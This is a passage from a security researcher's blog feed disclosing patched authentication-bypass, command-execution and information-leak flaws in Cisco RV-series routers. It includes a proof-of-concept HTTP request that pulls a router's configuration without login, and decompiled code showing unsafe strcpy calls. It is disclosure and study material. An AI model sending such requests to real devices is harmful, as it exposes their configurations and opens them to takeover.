&lt;p&gt;In the next installation of this series, I’ll perform more advanced patch diffing with Ghidra to find CVE-2020-3323 and CVE-2020-3331.&lt;/p&gt;

&lt;p&gt;As always, if you have any question just get in touch on &lt;a href=&quot;https://twitter.com/qkaiser&quot;&gt;Twitter&lt;/a&gt; or by &lt;a href=&quot;mailto:kaiserquentin@gmail.com&quot;&gt;email&lt;/a&gt; :)&lt;/p&gt;
</description>
        <pubDate>Wed, 23 Sep 2020 12:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/exploitdev/2020/09/23/ghetto-patch-diffing-cisco/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/exploitdev/2020/09/23/ghetto-patch-diffing-cisco/</guid>
      </item>
    
      <item>
        <title>Breaking Cisco RV110W, RV130, RV130W, and RV215W. Again.</title>
        <description>&lt;p&gt;More than a year ago now, Pentest Partners published an &lt;a href=&quot;https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/&quot;&gt;article&lt;/a&gt; explaining CVE-2019-1663, a stack buffer overflow affecting multiple low end devices from Cisco (RV110, RV130, RV215). I then went on writing exploit modules for each affected device and version, as detailed in my “&lt;a href=&quot;https://qkaiser.github.io/exploitdev/2019/08/30/exploit-CVE-2019-1663/&quot;&gt;Exploiting CVE-2019-1663&lt;/a&gt;” post.&lt;/p&gt;

&lt;p&gt;During the analysis I found other issues that I reported to Cisco PSIRT. These issues are now fixed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR;&lt;/strong&gt; Cisco RV110W, RV130(W), and RV215W VPN routers are affected by authentication bypass, authenticated remote command execution, and information disclosure issues. By chaining them an unauthenticated remote attacker can fully compromise your device. Patch now.&lt;/p&gt;

&lt;h3 id=&quot;coordinated-disclosure-timeline&quot;&gt;Coordinated Disclosure Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;4 Nov 2019&lt;/strong&gt; - Initial report to Cisco PSIRT&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5 Nov 2019&lt;/strong&gt; - Cisco assigned case handler and start looking at the report&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;17 Jan 2020&lt;/strong&gt; - PSIRT provides tentative fix release date (March 2020)&lt;/li&gt;
  &lt;li&gt;At this point COVID-19 happens and makes everything slower but Cisco folks kept me informed along the way&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5 Jun 2020&lt;/strong&gt; - CVE identifiers are assigned, tenative fix release date is set to July 2020&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;15 Jul 2020&lt;/strong&gt; - Release of fixed firmwares and security advisories&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;cisco-security-advisories&quot;&gt;Cisco Security Advisories&lt;/h3&gt;

&lt;p&gt;You can find Cisco advisories at the following locations:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-rce-m4FEEGWX&quot;&gt;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-rce-m4FEEGWX&lt;/a&gt;  (CVE-2020-3145/CVE-2020-3146)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-auth-bypass-cGv9EruZ&quot;&gt;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-auth-bypass-cGv9EruZ&lt;/a&gt;  (CVE-2020-3144)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-info-dis-FEWBWgsD&quot;&gt;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-info-dis-FEWBWgsD&lt;/a&gt;  (CVE-2020-3150)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Detailed advisories with proof-of-concepts follows. As always, if you have any question just get in touch on &lt;a href=&quot;https://twitter.com/qkaiser&quot;&gt;Twitter&lt;/a&gt; or by &lt;a href=&quot;mailto:kaiserquentin@gmail.com&quot;&gt;email&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;cve-2020-3150---cisco-rv110wrv130rv130rv215w-routers-unauthenticated-configuration-export&quot;&gt;CVE-2020-3150 - Cisco RV110W/RV130/RV130/RV215W Routers Unauthenticated Configuration Export&lt;/h3&gt;

&lt;h4 id=&quot;summary&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;A vulnerability in the web-based management interface of Cisco RV110W/RV130W/RV215W Wireless-N
Multifunction VPN Routers could allow an unauthenticated, remote attacker to retrieve sensitive information.&lt;/p&gt;

&lt;h4 id=&quot;impact&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;A successful exploit could allow the attacker to download the router configuration or detailed diagnostic
information.&lt;/p&gt;

&lt;p&gt;Note that to be able to download the file, an administrator user must have open the page backup.asp on the
device since the latest reboot. Once the page is accessed, a flag is set by the httpd binary, allowing for
generation of the startup.cfg file download (saved in /tmp/config.txt).&lt;/p&gt;

&lt;h4 id=&quot;affected-systems&quot;&gt;Affected Systems&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;RV110W Wireless-N Multifunction VPN Router up to version 1.2.2.4 included&lt;/li&gt;
  &lt;li&gt;RV130 Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV215W Wireless-N Multifunction VPN Router up to version 1.3.1.4 included&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;description&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;The vulnerability is due to improper access controls for URLs. An attacker could exploit this vulnerability by
connecting to an affected device via HTTP or HTTPS and requesting specific URLs.&lt;/p&gt;

&lt;p&gt;Here we show that an early version of the RV215W is affected:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /startup.cfg HTTP/1.1
Host: 192.168.1.1
Connection: close

HTTP/1.1 200 Ok
Server: httpd
Date: Fri, 01 Jan 2010 00:01:46 GMT
Content-Disposition: attachment; filename=RV215W_startup.cfg
Content-Type: application/octet-stream
Connection: close
;RV215W Configuration File - Version: 1.1.0.5
;MAC address: 10:BD:18:AC:57:3A
;Serial Number: CCQ231407B9
;The checksum: 8A41D8E444067386
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Other files are also affected, but it depends on the setup, such as mirror.cfg or backup.cfg&lt;/p&gt;

&lt;h3 id=&quot;cve-2020-3145---cisco-rv130rv130w-routers-management-interface-remote-command-execution-ipsec&quot;&gt;CVE-2020-3145 - Cisco RV130/RV130W Routers Management Interface Remote Command Execution (IPSEC)&lt;/h3&gt;

&lt;h4 id=&quot;summary-1&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN
Router could allow an authenticated, remote attacker to execute arbitrary code on an affected device.&lt;/p&gt;

&lt;h4 id=&quot;impact-1&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of
the affected device as a high-privilege user.&lt;/p&gt;

&lt;h4 id=&quot;affected-systems-1&quot;&gt;Affected Systems&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;RV130 Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;description-1&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.&lt;/p&gt;

&lt;p&gt;We identified multiple dangerous calls to strcpy in the function at 0x00071cac in the httpd binary
(/usr/sbin/httpd in firmware rootfs).&lt;/p&gt;

&lt;p&gt;The decompiled function looks like the pseudo-code below, comments are personal additions:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;apply_ipsec_policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_netbios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_subnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_outgo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_ike_policy_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;edit_eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ipsec_policy_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;netbios_off&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfs_enable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;edit_policy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_local_subnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_remote_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_spi_income&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ike_selidx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_endpoint_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack1224&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack1150&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack1132&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack1124&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack868&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack852&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack844&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack842&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack826&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack810&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack808&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack792&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uStack776&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack768&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack736&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2d0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack712&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack680&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack664&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack632&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack600&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack584&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack456&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack328&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack312&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack184&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;148&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ipsec_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_policy_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_policy_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_policy_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_policy_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
